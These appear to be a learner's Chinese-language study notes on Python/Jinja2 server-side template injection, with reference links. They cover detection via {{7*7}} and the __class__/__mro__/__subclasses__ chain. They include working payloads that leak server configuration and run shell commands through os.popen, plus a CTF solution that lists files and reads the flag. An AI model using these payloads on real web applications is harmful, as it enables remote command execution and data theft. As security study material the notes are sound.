https://www.jianshu.com/p/a77c50dfebcb
https://xz.aliyun.com/t/3679#toc-9
SSTI(Server-Side Template Injection) 服务端模板注入,就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式
{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
b = Template(a)
return b.render()
a参数获取后直接作为模板,直接render,明显a参数是可控的
1.ssti漏洞的检测
比如发送{{7*7}}
返回49
2.漏洞利用
通过某种类型(字符串:"",list:[],int:1)开始引出,__class__
找到当前类,__mro__
或者__base__
找到__object__
,前边的语句构造都是要找这个。然后利用object找到能利用的类。
config.items()
可以查看服务器的配置信息
__class__
返回调用参数类型
__base__
返回基类
__mro__
返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。
__subclasses__()
对每个new-style class“为它的直接子类维持一个弱引用列表”,之后“返回一个包含所有存活引用的列表” ,返回子类
''.__class__.__mro__[2]
''.__class__.__mro__[2].__subclasses__()
查看所有模块
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__
来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。
攻防世界 Web_python_template_injection
python模板注入
https://blog.csdn.net/qq_32506555/article/details/53999322
https://www.cnblogs.com/darklee/p/12625742.html
{{ config.items() }}
可以查看服务器的配置信息
{{''.__class__.__mro__[2].__subclasses__()}}
查看所有模块
在python里要执行系统命令需要import os模块。
通过__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()
来调用服务器的控制台并显示。
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
fl4g index.py
cat fl4g